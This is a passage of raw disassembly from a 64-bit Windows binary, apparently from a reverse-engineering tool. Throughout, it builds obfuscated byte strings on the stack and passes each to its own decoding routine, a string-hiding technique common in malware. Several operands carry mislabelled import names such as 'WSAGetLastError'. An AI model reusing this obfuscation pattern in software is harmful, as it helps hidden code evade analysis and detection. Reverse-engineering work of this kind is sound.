mov byte [rbp + 0x172], 0x2f
mov byte [rbp + 0x173], 0xa2
mov byte [rbp + 0x174], 0x2f
mov byte [rbp + 0x175], 0xb9
mov byte [rbp + 0x176], 0x2f
mov byte [rbp + 0x177], 0x79
mov byte [rbp + 0x178], 0x2f
mov byte [rbp + 0x179], 0x2f
mov byte [rbp + 0x17a], 0x2f
movzx eax, byte [rbp + 0x171]
call fcn.14004a9a0
mov qword [rbp + 0xba8], rax
lea rcx, [rbp + 0x180]
mov byte [rbp + 0x180], 0
mov byte [rbp + 0x181], 0xbe
mov byte [rbp + 0x182], 0x62
mov byte [rbp + 0x183], 0x31
mov byte [rbp + 0x184], 0x62
mov byte [rbp + 0x185], 0x2d
mov byte [rbp + 0x186], 0x62
mov byte [rbp + 0x187], 0x45
mov byte [rbp + 0x188], 0x62
mov byte [rbp + 0x189], 0x62
mov byte [rbp + 0x18a], 0x62
movzx eax, byte [rbp + 0x181]
call fcn.14004a910
mov qword [rbp + 0xbb0], rax
mov byte [rbp + 0x190], 0
mov byte [rbp + 0x191], 0xe5
mov byte [rbp + 0x192], 0x33
mov byte [rbp + 0x193], 0xa9
mov byte [rbp + 0x194], 0x33
lea rcx, [rbp + 0x190]
mov byte [rbp + 0x195], 0xc2
mov byte [rbp + 0x196], 0x33
mov byte [rbp + 0x197], 0x39
mov byte [rbp + 0x198], 0x33
mov byte [rbp + 0x199], 0x33
mov byte [rbp + 0x19a], 0x33
movzx eax, byte [rbp + 0x191]
call fcn.14004a880
mov qword [rbp + 0xbb8], rax
lea rcx, [rbp + 0x1a0]
mov byte [rbp + 0x1a0], 0
mov byte [rbp + 0x1a1], 0x2b
mov byte [rbp + 0x1a2], 0x4a
mov byte [rbp + 0x1a3], 0xba
mov byte [rbp + 0x1a4], 0x4a
mov byte [rbp + 0x1a5], 0x53
mov byte [rbp + 0x1a6], 0x4a
mov byte [rbp + 0x1a7], 0x80
mov byte [rbp + 0x1a8], 0x4a
mov byte [rbp + 0x1a9], 0x4a
mov byte [rbp + 0x1aa], 0x4a
movzx eax, byte [rbp + 0x1a1]
call fcn.14004a800
mov qword [rbp + 0xbc0], rax
lea rcx, [rbp + 0x7d0]
mov byte [rbp + 0x7d0], 0
mov byte [rbp + 0x7d1], 0xb
mov byte [rbp + 0x7d2], 0x53
mov byte [rbp + 0x7d3], 0xa5
mov byte [rbp + 0x7d4], 0x53
mov byte [rbp + 0x7d5], 0xf6
mov byte [rbp + 0x7d6], 0x53
mov byte [rbp + 0x7d7], 0x7e
mov byte [rbp + 0x7d8], 0x53
mov byte [rbp + 0x7d9], 0x57
mov byte [rbp + 0x7da], 0x53
mov byte [rbp + 0x7db], 0x53
mov byte [rbp + 0x7dc], 0x53
movzx eax, byte [rbp + 0x7d1]
call fcn.14004a780
mov qword [rbp + 0xbc8], rax
lea rcx, [rbp + 0x1b0]
mov byte [rbp + 0x1b0], 0
mov byte [rbp + 0x1b1], 0x63
mov byte [rbp + 0x1b2], 0x78
mov byte [rbp + 0x1b3], 0x7b
mov byte [rbp + 0x1b4], 0x78
mov byte [rbp + 0x1b5], 0xda
mov byte [rbp + 0x1b6], 0x78
mov byte [rbp + 0x1b7], WSAGetLastError
mov byte [rbp + 0x1b8], 0x78
mov byte [rbp + 0x1b9], 0x78
mov byte [rbp + 0x1ba], 0x78
movzx eax, byte [rbp + 0x1b1]
call fcn.14004a6f0
mov qword [rbp + 0xbd0], rax
lea rcx, [rbp + 0x1c0]
mov byte [rbp + 0x1c0], 0
mov byte [rbp + 0x1c1], 0x2e
mov byte [rbp + 0x1c2], 0x65
mov byte [rbp + 0x1c3], WSAGetLastError
mov byte [rbp + 0x1c4], 0x65
mov byte [rbp + 0x1c5], 0xfa
mov byte [rbp + 0x1c6], 0x65
mov byte [rbp + 0x1c7], 0x24
mov byte [rbp + 0x1c8], 0x65
mov byte [rbp + 0x1c9], 0x65
mov byte [rbp + 0x1ca], 0x65
movzx eax, byte [rbp + 0x1c1]
call fcn.14004a670
mov qword [rbp + 0xbd8], rax
mov byte [rbp + 0x1d0], 0
mov byte [rbp + 0x1d1], 0x8a
mov byte [rbp + 0x1d2], 0x44
mov byte [rbp + 0x1d3], 0x7d
mov byte [rbp + 0x1d4], 0x44
mov byte [rbp + 0x1d5], 0xf2
mov byte [rbp + 0x1d6], 0x44
mov byte [rbp + 0x1d7], WSAGetLastError
mov byte [rbp + 0x1d8], 0x44
lea rcx, [rbp + 0x1d0]
mov byte [rbp + 0x1d9], 0x44
mov byte [rbp + 0x1da], 0x44
movzx eax, byte [rbp + 0x1d1]
call fcn.14004a5f0
mov qword [rbp + 0xbe0], rax
lea rcx, [rbp + 0x1e0]
mov byte [rbp + 0x1e0], 0
mov byte [rbp + 0x1e1], WSAGetLastError
mov byte [rbp + 0x1e2], 0x3f
mov byte [rbp + 0x1e3], 0xa
mov byte [rbp + 0x1e4], 0x3f
mov byte [rbp + 0x1e5], 0xc1
mov byte [rbp + 0x1e6], 0x3f
mov byte [rbp + 0x1e7], 0x4e
mov byte [rbp + 0x1e8], 0x3f
mov byte [rbp + 0x1e9], 0x3f
mov byte [rbp + 0x1ea], 0x3f
movzx eax, byte [rbp + 0x1e1]
call fcn.14004a570
mov qword [rbp + 0xbe8], rax
lea rcx, [rbp + 0x1f0]
mov byte [rbp + 0x1f0], 0
mov byte [rbp + 0x1f1], 0x9c
mov byte [rbp + 0x1f2], 2
mov byte [rbp + 0x1f3], 0x1b
mov byte [rbp + 0x1f4], 2
mov byte [rbp + 0x1f5], WSAGetLastError
mov byte [rbp + 0x1f6], 2
mov byte [rbp + 0x1f7], 0xf6
mov byte [rbp + 0x1f8], 2
mov byte [rbp + 0x1f9], 2
mov byte [rbp + 0x1fa], 2
movzx eax, byte [rbp + 0x1f1]
call fcn.14004a4f0
mov qword [rbp + 0xbf0], rax
lea rcx, [rbp + 0x8c0]
mov byte [rbp + 0x8c0], 0
mov byte [rbp + 0x8c1], 0x7c
mov byte [rbp + 0x8c2], 0x35
mov byte [rbp + 0x8c3], 0xe
mov byte [rbp + 0x8c4], 0x35
mov byte [rbp + 0x8c5], 0x3f
mov byte [rbp + 0x8c6], 0x35
mov byte [rbp + 0x8c7], 0x54
mov byte [rbp + 0x8c8], 0x35
mov byte [rbp + 0x8c9], 0x91
mov byte [rbp + 0x8ca], 0x35
mov byte [rbp + 0x8cb], 0x98
mov byte [rbp + 0x8cc], 0x35
mov byte [rbp + 0x8cd], 0x35
mov byte [rbp + 0x8ce], 0x35
movzx eax, byte [rbp + 0x8c1]
call fcn.14004a460
mov qword [rbp + 0xbf8], rax
lea rcx, [rbp + 0x8d0]
mov byte [rbp + 0x8d0], 0
mov byte [rbp + 0x8d1], 0x65
mov byte [rbp + 0x8d2], 6
mov byte [rbp + 0x8d3], 0xad
mov byte [rbp + 0x8d4], 6
mov byte [rbp + 0x8d5], 0xb6
mov byte [rbp + 0x8d6], 6
mov byte [rbp + 0x8d7], 0x96
mov byte [rbp + 0x8d8], 6
mov byte [rbp + 0x8d9], 0x76
mov byte [rbp + 0x8da], 6
mov byte [rbp + 0x8db], WSAGetLastError
mov byte [rbp + 0x8dc], 6
mov byte [rbp + 0x8dd], 6
mov byte [rbp + 0x8de], 6
movzx eax, byte [rbp + 0x8d1]
call fcn.14004a3d0
mov qword [rbp + 0xc00], rax
mov byte [rbp + 0x200], 0
mov byte [rbp + 0x201], 0xcf
mov byte [rbp + 0x202], 0x1d
mov byte [rbp + 0x203], 9
mov byte [rbp + 0x204], 0x1d
mov byte [rbp + 0x205], 0x16
mov byte [rbp + 0x206], 0x1d
lea rcx, [rbp + 0x200]
mov byte [rbp + 0x207], 0xb9
mov byte [rbp + 0x208], 0x1d
mov byte [rbp + 0x209], 0x1d
mov byte [rbp + 0x20a], 0x1d
movzx eax, byte [rbp + 0x201]
call fcn.14004a340
mov qword [rbp + 0xc08], rax
lea rcx, [rbp + 0x210]
mov byte [rbp + 0x210], 0
mov byte [rbp + 0x211], 0x43
mov byte [rbp + 0x212], 0x26
mov byte [rbp + 0x213], 0xf
mov byte [rbp + 0x214], 0x26
mov byte [rbp + 0x215], 0xb9
mov byte [rbp + 0x216], 0x26
mov byte [rbp + 0x217], 0x98
mov byte [rbp + 0x218], 0x26
mov byte [rbp + 0x219], 0x26
mov byte [rbp + 0x21a], 0x26
movzx eax, byte [rbp + 0x211]
call fcn.14004a2b0
mov qword [rbp + 0xc10], rax
lea rcx, [rbp + 0x220]
mov byte [rbp + 0x220], 0
mov byte [rbp + 0x221], 0xab
mov byte [rbp + 0x222], 0x4b
mov byte [rbp + 0x223], 0x92
mov byte [rbp + 0x224], 0x4b
mov byte [rbp + 0x225], 0x19
mov byte [rbp + 0x226], 0x4b
mov byte [rbp + 0x227], 0xf9
mov byte [rbp + 0x228], 0x4b
mov byte [rbp + 0x229], 0x4b
mov byte [rbp + 0x22a], 0x4b
movzx eax, byte [rbp + 0x221]
call fcn.14004a230
mov qword [rbp + 0xc18], rax
lea rcx, [rbp + 0x230]
mov byte [rbp + 0x230], 0
mov byte [rbp + 0x231], 0x23
mov byte [rbp + 0x232], 0x38
mov byte [rbp + 0x233], 0x40
mov byte [rbp + 0x234], 0x38
mov byte [rbp + 0x235], 0x72
mov byte [rbp + 0x236], 0x38
mov byte [rbp + 0x237], 0x46
mov byte [rbp + 0x238], 0x38
mov byte [rbp + 0x239], 0x38
mov byte [rbp + 0x23a], 0x38
movzx eax, byte [rbp + 0x231]
call fcn.14004a1a0
mov qword [rbp + 0xc20], rax
lea rcx, [rbp + 0x240]
mov byte [rbp + 0x240], 0
mov byte [rbp + 0x241], 0x8f
mov byte [rbp + 0x242], 0x17
mov byte [rbp + 0x243], 0x31
mov byte [rbp + 0x244], 0x17
mov byte [rbp + 0x245], 0x56
mov byte [rbp + 0x246], 0x17
mov byte [rbp + 0x247], 0x65
mov byte [rbp + 0x248], 0x17
mov byte [rbp + 0x249], 0x17
mov byte [rbp + 0x24a], 0x17
movzx eax, byte [rbp + 0x241]
call fcn.14004a110
mov qword [rbp + 0xc28], rax
mov byte [rbp + 0x250], 0
mov byte [rbp + 0x251], 0x48
mov byte [rbp + 0x252], 0x12
mov byte [rbp + 0x253], WSAGetLastError
mov byte [rbp + 0x254], 0x12
mov byte [rbp + 0x255], 0x54
mov byte [rbp + 0x256], 0x12
mov byte [rbp + 0x257], 0xb0
mov byte [rbp + 0x258], 0x12
mov byte [rbp + 0x259], 0x12
mov byte [rbp + 0x25a], 0x12
movzx eax, byte [rbp + 0x251]
lea rcx, [rbp + 0x250]
call fcn.14004a080
mov qword [rbp + 0xc30], rax
lea rcx, [rbp + 0x260]
mov byte [rbp + 0x260], 0
mov byte [rbp + 0x261], 0x80
mov byte [rbp + 0x262], 0x53
mov byte [rbp + 0x263], 0x1e
mov byte [rbp + 0x264], 0x53
mov byte [rbp + 0x265], 9
mov byte [rbp + 0x266], 0x53
mov byte [rbp + 0x267], 0xce
mov byte [rbp + 0x268], 0x53
mov byte [rbp + 0x269], 0x53
mov byte [rbp + 0x26a], 0x53
movzx eax, byte [rbp + 0x261]
call fcn.14004a000
mov qword [rbp + 0xc38], rax
lea rcx, [rbp + 0x270]
mov byte [rbp + 0x270], 0
mov byte [rbp + 0x271], 0xcb
mov byte [rbp + 0x272], 8
mov byte [rbp + 0x273], 0xd2
mov byte [rbp + 0x274], 8
mov byte [rbp + 0x275], 0xaa
mov byte [rbp + 0x276], 8
mov byte [rbp + 0x277], 0xe3
mov byte [rbp + 0x278], 8
mov byte [rbp + 0x279], 8
mov byte [rbp + 0x27a], 8
movzx eax, byte [rbp + 0x271]
call fcn.140049f80
mov qword [rbp + 0xc40], rax
lea rcx, [rbp + 0x7e0]
mov byte [rbp + 0x7e0], 0
mov byte [rbp + 0x7e1], 0xa5
mov byte [rbp + 0x7e2], 0x57
mov byte [rbp + 0x7e3], 0xda
mov byte [rbp + 0x7e4], 0x57
mov byte [rbp + 0x7e5], 0xc1
mov byte [rbp + 0x7e6], 0x57
mov byte [rbp + 0x7e7], 0xca
mov byte [rbp + 0x7e8], 0x57
mov byte [rbp + 0x7e9], 0x18
mov byte [rbp + 0x7ea], 0x57
mov byte [rbp + 0x7eb], 0x57
mov byte [rbp + 0x7ec], 0x57
movzx eax, byte [rbp + 0x7e1]
call fcn.140049f00
mov qword [rbp + 0xc48], rax
lea rcx, [rbp + 0x280]
mov byte [rbp + 0x280], 0
mov byte [rbp + 0x281], 0xcd
mov byte [rbp + 0x282], WSAGetLastError
mov byte [rbp + 0x283], 0x63
mov byte [rbp + 0x284], WSAGetLastError
mov byte [rbp + 0x285], 0xc
mov byte [rbp + 0x286], WSAGetLastError
mov byte [rbp + 0x287], 0xf5
mov byte [rbp + 0x288], WSAGetLastError
mov byte [rbp + 0x289], WSAGetLastError
mov byte [rbp + 0x28a], WSAGetLastError
movzx eax, byte [rbp + 0x281]
call fcn.140049e70
mov qword [rbp + 0xc50], rax
lea rcx, [rbp + 0x290]
mov byte [rbp + 0x290], 0
mov byte [rbp + 0x291], 0xc6
mov byte [rbp + 0x292], 0x77
mov byte [rbp + 0x293], 0x7b
mov byte [rbp + 0x294], 0x77
mov byte [rbp + 0x295], 7
mov byte [rbp + 0x296], 0x77
mov byte [rbp + 0x297], 0xc8
mov byte [rbp + 0x298], 0x77
mov byte [rbp + 0x299], 0x77
mov byte [rbp + 0x29a], 0x77
movzx eax, byte [rbp + 0x291]
call fcn.140049df0
mov qword [rbp + 0xc58], rax
mov byte [rbp + 0x2a0], 0
mov byte [rbp + 0x2a1], 0xfa
lea rcx, [rbp + 0x2a0]
mov byte [rbp + 0x2a2], 0x1e
mov byte [rbp + 0x2a3], 0xc8
mov byte [rbp + 0x2a4], 0x1e
mov byte [rbp + 0x2a5], 0x34
mov byte [rbp + 0x2a6], 0x1e
mov byte [rbp + 0x2a7], 0x4e
mov byte [rbp + 0x2a8], 0x1e
mov byte [rbp + 0x2a9], 0x1e
mov byte [rbp + 0x2aa], 0x1e
movzx eax, byte [rbp + 0x2a1]
call fcn.140049d70
mov qword [rbp + 0xc60], rax
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x31], WSAGetLastError
mov byte [rsp + 0x32], 0xb
mov byte [rsp + 0x33], 0x79
mov byte [rsp + 0x34], 0xb
mov byte [rsp + 0x35], 0x1e
mov byte [rsp + 0x36], 0xb
mov byte [rsp + 0x37], 0xb
mov byte [rsp + 0x38], 0xb
movzx eax, byte [rsp + 0x31]
call fcn.140049cf0
mov qword [rbp + 0xc68], rax
lea rcx, [rbp + 0x2b0]
mov byte [rbp + 0x2b0], 0
mov byte [rbp + 0x2b1], 0xe9
mov byte [rbp + 0x2b2], 0x68
mov byte [rbp + 0x2b3], 0x8e
mov byte [rbp + 0x2b4], 0x68
mov byte [rbp + 0x2b5], 0xbc
mov byte [rbp + 0x2b6], 0x68
mov byte [rbp + 0x2b7], WSAGetLastError
mov byte [rbp + 0x2b8], 0x68
mov byte [rbp + 0x2b9], 0x68
mov byte [rbp + 0x2ba], 0x68
movzx eax, byte [rbp + 0x2b1]
call fcn.140049c70
mov qword [rbp + 0xc70], rax
lea rcx, [rbp + 0x2c0]
mov byte [rbp + 0x2c0], 0
mov byte [rbp + 0x2c1], 0x2c
mov byte [rbp + 0x2c2], 0x63
mov byte [rbp + 0x2c3], 0xdb
mov byte [rbp + 0x2c4], 0x63
mov byte [rbp + 0x2c5], 0xb6
mov byte [rbp + 0x2c6], 0x63
mov byte [rbp + 0x2c7], 0x15
mov byte [rbp + 0x2c8], 0x63
mov byte [rbp + 0x2c9], 0x63
mov byte [rbp + 0x2ca], 0x63
movzx eax, byte [rbp + 0x2c1]
call fcn.140049bf0
mov qword [rbp + 0xc78], rax
lea rcx, [rbp + 0x7f0]
mov byte [rbp + 0x7f0], 0
mov byte [rbp + 0x7f1], 0x5c
mov byte [rbp + 0x7f2], 0x26
mov byte [rbp + 0x7f3], 0xc2
mov byte [rbp + 0x7f4], 0x26
mov byte [rbp + 0x7f5], 0xc4
mov byte [rbp + 0x7f6], 0x26
mov byte [rbp + 0x7f7], 0x4f
mov byte [rbp + 0x7f8], 0x26
mov byte [rbp + 0x7f9], 0x21
mov byte [rbp + 0x7fa], 0x26
mov byte [rbp + 0x7fb], 0x26
mov byte [rbp + 0x7fc], 0x26
movzx eax, byte [rbp + 0x7f1]
call fcn.140049b60
mov qword [rbp + 0xc80], rax
mov byte [rbp + 0x2d0], 0
mov byte [rbp + 0x2d1], 0xf2
mov byte [rbp + 0x2d2], 0x59
mov byte [rbp + 0x2d3], 0x1d
mov byte [rbp + 0x2d4], 0x59
mov byte [rbp + 0x2d5], 0xca
mov byte [rbp + 0x2d6], 0x59
mov byte [rbp + 0x2d7], 0x15
lea rcx, [rbp + 0x2d0]
mov byte [rbp + 0x2d8], 0x59
mov byte [rbp + 0x2d9], 0x59
mov byte [rbp + 0x2da], 0x59
movzx eax, byte [rbp + 0x2d1]
call fcn.140049ae0
mov qword [rbp + 0xc88], rax
lea rcx, [rbp + 0x2e0]
mov byte [rbp + 0x2e0], 0
mov byte [rbp + 0x2e1], 0xc4
mov byte [rbp + 0x2e2], 0x2a
mov byte [rbp + 0x2e3], 4
mov byte [rbp + 0x2e4], 0x2a
mov byte [rbp + 0x2e5], 0x14
mov byte [rbp + 0x2e6], 0x2a
mov byte [rbp + 0x2e7], 0xdf
mov byte [rbp + 0x2e8], 0x2a
mov byte [rbp + 0x2e9], 0x2a
mov byte [rbp + 0x2ea], 0x2a
movzx eax, byte [rbp + 0x2e1]
call fcn.140049a60
mov qword [rbp + 0xc90], rax
lea rcx, [rbp + 0x2f0]
mov byte [rbp + 0x2f0], 0
mov byte [rbp + 0x2f1], 0x8f
mov byte [rbp + 0x2f2], 0x41
mov byte [rbp + 0x2f3], 0xd4
mov byte [rbp + 0x2f4], 0x41
mov byte [rbp + 0x2f5], 0x62
mov byte [rbp + 0x2f6], 0x41
mov byte [rbp + 0x2f7], 0xcb
mov byte [rbp + 0x2f8], 0x41
mov byte [rbp + 0x2f9], 0x41
mov byte [rbp + 0x2fa], 0x41
movzx eax, byte [rbp + 0x2f1]
call fcn.1400499e0
mov qword [rbp + 0xc98], rax
lea rcx, [rbp + 0x300]
mov byte [rbp + 0x300], 0
mov byte [rbp + 0x301], 0xa6
mov byte [rbp + 0x302], 0x4a
mov byte [rbp + 0x303], 0x25
mov byte [rbp + 0x304], 0x4a
mov byte [rbp + 0x305], 0x17
mov byte [rbp + 0x306], 0x4a
mov byte [rbp + 0x307], 0x13
mov byte [rbp + 0x308], 0x4a
mov byte [rbp + 0x309], 0x4a
mov byte [rbp + 0x30a], 0x4a
movzx eax, byte [rbp + 0x301]
call fcn.140049950
mov qword [rbp + 0xca0], rax
lea rcx, [rbp + 0x800]
mov byte [rbp + 0x800], 0
mov byte [rbp + 0x801], 0x26
mov byte [rbp + 0x802], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp + 0x803], 0x9a
mov byte [rbp + 0x804], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp + 0x805], 0xe5
mov byte [rbp + 0x806], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp + 0x807], 0x75
mov byte [rbp + 0x808], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp + 0x809], 0xb3
mov byte [rbp + 0x80a], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp + 0x80b], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp + 0x80c], reloc.WSOCK32.dll_WSAGetLastError
movzx eax, byte [rbp + 0x801]
call fcn.1400498c0
mov qword [rbp + 0xca8], rax
mov byte [rbp + 0x8e0], 0
mov byte [rbp + 0x8e1], 0x3d
mov byte [rbp + 0x8e2], 0x5c
mov byte [rbp + 0x8e3], 0x45
mov byte [rbp + 0x8e4], 0x5c
mov byte [rbp + 0x8e5], 0xcc
mov byte [rbp + 0x8e6], 0x5c
mov byte [rbp + 0x8e7], 0x99
mov byte [rbp + 0x8e8], 0x5c
mov byte [rbp + 0x8e9], 0x72
mov byte [rbp + 0x8ea], 0x5c
mov byte [rbp + 0x8eb], 0xf9
lea rcx, [rbp + 0x8e0]
mov byte [rbp + 0x8ec], 0x5c
mov byte [rbp + 0x8ed], 0x5c
mov byte [rbp + 0x8ee], 0x5c
movzx eax, byte [rbp + 0x8e1]
call fcn.140049840
mov qword [rbp + 0xcb0], rax
lea rcx, [rbp + 0x8f0]
mov byte [rbp + 0x8f0], 0
mov byte [rbp + 0x8f1], 0xee
mov byte [rbp + 0x8f2], 0x3b
mov byte [rbp + 0x8f3], 0xd0
mov byte [rbp + 0x8f4], 0x3b
mov byte [rbp + 0x8f5], 0x8d
mov byte [rbp + 0x8f6], 0x3b
mov byte [rbp + 0x8f7], 0x90
mov byte [rbp + 0x8f8], 0x3b
mov byte [rbp + 0x8f9], 0x66
mov byte [rbp + 0x8fa], 0x3b
mov byte [rbp + 0x8fb], 0x82
mov byte [rbp + 0x8fc], 0x3b
mov byte [rbp + 0x8fd], 0x3b
mov byte [rbp + 0x8fe], 0x3b
movzx eax, byte [rbp + 0x8f1]
call fcn.1400497c0
mov qword [rbp + 0xcb8], rax
lea rcx, [rbp + 0x310]
mov byte [rbp + 0x310], 0
mov byte [rbp + 0x311], 0x21
mov byte [rbp + 0x312], 0x36
mov byte [rbp + 0x313], 0x5c
mov byte [rbp + 0x314], 0x36
mov byte [rbp + 0x315], 0x43
mov byte [rbp + 0x316], 0x36
mov byte [rbp + 0x317], 0x2f
mov byte [rbp + 0x318], 0x36
mov byte [rbp + 0x319], 0x36
mov byte [rbp + 0x31a], 0x36
movzx eax, byte [rbp + 0x311]
call fcn.140049730
mov qword [rbp + 0xcc0], rax
lea rcx, [rbp + 0x320]
mov byte [rbp + 0x320], 0
mov byte [rbp + 0x321], 0x40
mov byte [rbp + 0x322], 0x77
mov byte [rbp + 0x323], 0x63
mov byte [rbp + 0x324], 0x77
mov byte [rbp + 0x325], 4
mov byte [rbp + 0x326], 0x77
mov byte [rbp + 0x327], 0x29
mov byte [rbp + 0x328], 0x77
mov byte [rbp + 0x329], 0x77
mov byte [rbp + 0x32a], 0x77
movzx eax, byte [rbp + 0x321]
call fcn.1400496b0
mov qword [rbp + 0xcc8], rax
lea rcx, [rbp + 0x330]
mov byte [rbp + 0x330], 0
mov byte [rbp + 0x331], 0x72
mov byte [rbp + 0x332], 0x2c
mov byte [rbp + 0x333], 0x44
mov byte [rbp + 0x334], 0x2c
mov byte [rbp + 0x335], 0x11
mov byte [rbp + 0x336], 0x2c
mov byte [rbp + 0x337], 0x65
mov byte [rbp + 0x338], 0x2c
mov byte [rbp + 0x339], 0x2c
mov byte [rbp + 0x33a], 0x2c
movzx eax, byte [rbp + 0x331]
call fcn.140049630
mov qword [rbp + 0xcd0], rax
mov byte [rbp + 0x340], 0
mov byte [rbp + 0x341], 0xa8
mov byte [rbp + 0x342], 0x7b
mov byte [rbp + 0x343], 0xf6
mov byte [rbp + 0x344], 0x7b
mov byte [rbp + 0x345], 0x10
mov byte [rbp + 0x346], 0x7b
mov byte [rbp + 0x347], 0xef
mov byte [rbp + 0x348], 0x7b
mov byte [rbp + 0x349], 0x7b
lea rcx, [rbp + 0x340]
mov byte [rbp + 0x34a], 0x7b
movzx eax, byte [rbp + 0x341]
call fcn.1400495b0
mov qword [rbp + 0xcd8], rax
lea rcx, [rbp + 0x350]
mov byte [rbp + 0x350], 0
mov byte [rbp + 0x351], 0xae
mov byte [rbp + 0x352], 0x14
mov byte [rbp + 0x353], 0x7b
mov byte [rbp + 0x354], 0x14
mov byte [rbp + 0x355], 0x3d
mov byte [rbp + 0x356], 0x14
mov byte [rbp + 0x357], WSAGetLastError
mov byte [rbp + 0x358], 0x14
mov byte [rbp + 0x359], 0x14
mov byte [rbp + 0x35a], 0x14
movzx eax, byte [rbp + 0x351]
call fcn.140049530
mov qword [rbp + 0xce0], rax
lea rcx, [rbp + 0x360]
mov byte [rbp + 0x360], 0
mov byte [rbp + 0x361], 0x64
mov byte [rbp + 0x362], 0x1d
mov byte [rbp + 0x363], 0x27
mov byte [rbp + 0x364], 0x1d
mov byte [rbp + 0x365], 0xce
mov byte [rbp + 0x366], 0x1d
mov byte [rbp + 0x367], 0x51
mov byte [rbp + 0x368], 0x1d
mov byte [rbp + 0x369], 0x1d
mov byte [rbp + 0x36a], 0x1d
movzx eax, byte [rbp + 0x361]
call fcn.1400494a0
mov qword [rbp + 0xce8], rax
lea rcx, [rbp + 0x370]
mov byte [rbp + 0x370], 0
mov byte [rbp + 0x371], 0xa1
mov byte [rbp + 0x372], 0x42
mov byte [rbp + 0x373], 0xf2
mov byte [rbp + 0x374], 0x42
mov byte [rbp + 0x375], 0x77
mov byte [rbp + 0x376], 0x42
mov byte [rbp + 0x377], 0x92
mov byte [rbp + 0x378], 0x42
mov byte [rbp + 0x379], 0x42
mov byte [rbp + 0x37a], 0x42
movzx eax, byte [rbp + 0x371]
call fcn.140049410
mov qword [rbp + 0xcf0], rax
lea rcx, [rbp + 0x380]
mov byte [rbp + 0x380], 0
mov byte [rbp + 0x381], 0xe1
mov byte [rbp + 0x382], 0x2f
mov byte [rbp + 0x383], 0x41
mov byte [rbp + 0x384], 0x2f
mov byte [rbp + 0x385], 0x34
mov byte [rbp + 0x386], 0x2f
mov byte [rbp + 0x387], 0x4d
mov byte [rbp + 0x388], 0x2f
mov byte [rbp + 0x389], 0x2f
mov byte [rbp + 0x38a], 0x2f
movzx eax, byte [rbp + 0x381]
call fcn.140049380
mov qword [rbp + 0xcf8], rax
lea rcx, [rbp + 0x390]
mov byte [rbp + 0x390], 0
mov byte [rbp + 0x391], 0x2b
mov byte [rbp + 0x392], 0xe
mov byte [rbp + 0x393], WSAGetLastError
mov byte [rbp + 0x394], 0xe
mov byte [rbp + 0x395], 0xd0
mov byte [rbp + 0x396], 0xe
mov byte [rbp + 0x397], 0xf2
mov byte [rbp + 0x398], 0xe
mov byte [rbp + 0x399], 0xe
mov byte [rbp + 0x39a], 0xe
movzx eax, byte [rbp + 0x391]
call fcn.1400492f0
mov qword [rbp + 0xd00], rax
mov byte [rbp + 0x3a0], 0
lea rcx, [rbp + 0x3a0]
mov byte [rbp + 0x3a1], WSAGetLastError
mov byte [rbp + 0x3a2], 9
mov byte [rbp + 0x3a3], 0xab
mov byte [rbp + 0x3a4], 9
mov byte [rbp + 0x3a5], 0xd2
mov byte [rbp + 0x3a6], 9
mov byte [rbp + 0x3a7], 0x36
mov byte [rbp + 0x3a8], 9
mov byte [rbp + 0x3a9], 9
mov byte [rbp + 0x3aa], 9
movzx eax, byte [rbp + 0x3a1]
call fcn.140049270
mov qword [rbp + 0xd08], rax
lea rcx, [rbp + 0x3b0]
mov byte [rbp + 0x3b0], 0
mov byte [rbp + 0x3b1], 0x35
mov byte [rbp + 0x3b2], 0x4a
mov byte [rbp + 0x3b3], 0x75
mov byte [rbp + 0x3b4], 0x4a
mov byte [rbp + 0x3b5], 0x8e
mov byte [rbp + 0x3b6], 0x4a
mov byte [rbp + 0x3b7], 0x57
mov byte [rbp + 0x3b8], 0x4a
mov byte [rbp + 0x3b9], 0x4a
mov byte [rbp + 0x3ba], 0x4a
movzx eax, byte [rbp + 0x3b1]
call fcn.1400491e0
mov qword [rbp + 0xd10], rax
lea rcx, [rbp + 0x3c0]
mov byte [rbp + 0x3c0], 0
mov byte [rbp + 0x3c1], 0xf5
mov byte [rbp + 0x3c2], 0x7d
mov byte [rbp + 0x3c3], 0xca
mov byte [rbp + 0x3c4], 0x7d
mov byte [rbp + 0x3c5], 0x51
mov byte [rbp + 0x3c6], 0x7d
mov byte [rbp + 0x3c7], 0xf4
mov byte [rbp + 0x3c8], 0x7d
mov byte [rbp + 0x3c9], 0x7d
mov byte [rbp + 0x3ca], 0x7d
movzx eax, byte [rbp + 0x3c1]
call fcn.140049150
mov qword [rbp + 0xd18], rax
lea rcx, [rbp + 0x3d0]
mov byte [rbp + 0x3d0], 0
mov byte [rbp + 0x3d1], 0x84
mov byte [rbp + 0x3d2], 0x4e
mov byte [rbp + 0x3d3], 0x4b
mov byte [rbp + 0x3d4], 0x4e
mov byte [rbp + 0x3d5], 0x36
mov byte [rbp + 0x3d6], 0x4e
mov byte [rbp + 0x3d7], 0x49
mov byte [rbp + 0x3d8], 0x4e
mov byte [rbp + 0x3d9], 0x4e
mov byte [rbp + 0x3da], 0x4e
movzx eax, byte [rbp + 0x3d1]
call fcn.1400490c0
mov qword [rbp + 0xd20], rax
lea rcx, [rbp + 0x3e0]
mov byte [rbp + 0x3e0], 0
mov byte [rbp + 0x3e1], 0x92
mov byte [rbp + 0x3e2], 0x65
mov byte [rbp + 0x3e3], 0xe0
mov byte [rbp + 0x3e4], 0x65
mov byte [rbp + 0x3e5], 0xcb
mov byte [rbp + 0x3e6], 0x65
mov byte [rbp + 0x3e7], 0xb1
mov byte [rbp + 0x3e8], 0x65
mov byte [rbp + 0x3e9], 0x65
mov byte [rbp + 0x3ea], 0x65
movzx eax, byte [rbp + 0x3e1]
call fcn.140049040
mov qword [rbp + 0xd28], rax
mov byte [rbp + 0x3f0], 0
mov byte [rbp + 0x3f1], 0x36
mov byte [rbp + 0x3f2], WSAGetLastError
mov byte [rbp + 0x3f3], 0xee
mov byte [rbp + 0x3f4], WSAGetLastError
mov byte [rbp + 0x3f5], 0x15
mov byte [rbp + 0x3f6], WSAGetLastError
lea rcx, [rbp + 0x3f0]
mov byte [rbp + 0x3f7], 0xd7
mov byte [rbp + 0x3f8], WSAGetLastError
mov byte [rbp + 0x3f9], WSAGetLastError
mov byte [rbp + 0x3fa], WSAGetLastError
movzx eax, byte [rbp + 0x3f1]
